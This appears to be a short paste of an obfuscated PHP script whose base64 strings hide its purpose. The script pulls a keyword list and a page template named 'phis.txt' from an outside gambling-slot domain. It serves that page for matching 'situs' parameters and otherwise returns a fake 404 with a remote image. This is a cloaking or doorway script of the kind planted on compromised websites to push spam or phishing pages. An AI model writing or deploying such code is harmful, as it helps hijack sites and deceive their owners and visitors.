PHP Decode

<?php $s0=base64_decode('aHR0cHM6Ly9ob3Nsb3Q4OC5jb20vbmlhcy9yZWFkbWUudHh0');$z1=[];$y2=file_get_contents($s0);if($y2!==false){$z1=explode(base64_decode('Cg=='),$y2);$z1=array_map(base64_decode('dHJpbQ=='),$z1);}$j3=isset($_GET[base64_decode('c2l0dXM=')])?$_GET[base64_decode('c2l0dXM=')]:'';$m4=base64_decode('aHR0cHM6Ly9ob3Nsb3Q4OC5jb20vbmlhcy9waGlzLnR4dA==');$i5=base64_decode('aHR0cHM6Ly9pLmliYi5jby82NHhzTXd2L3RpcHUuanBn');$x6=base64_encode(file_get_contents($i5));if(!empty($j3)&&in_array($j3,$z1)&&!empty($z1[0])){$b7=file_get_contents($m4);if($b7!==false){$w8=str_replace(base64_decode('QkVUQTEzOA=='),strtoupper($j3),$b7);$w8=str_replace(base64_decode('YmV0YTEzOA=='),strtoupper($j3),$w8);echo $w8;}else{echo base64_decode('RXJyb3IgcmV0cmlldmluZyBjb250ZW50Lg==');}}else{header(base64_decode('SFRUUC8xLjAgNDA0IE5vdCBGb3VuZA=='));echo base64_decode('PGltZyBzcmM9ImRhdGE6aW1hZ2UvanBlZztiYXNlNjQs').$x6.base64_decode('IiBzdHlsZT0id2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJTsiPg==');}?>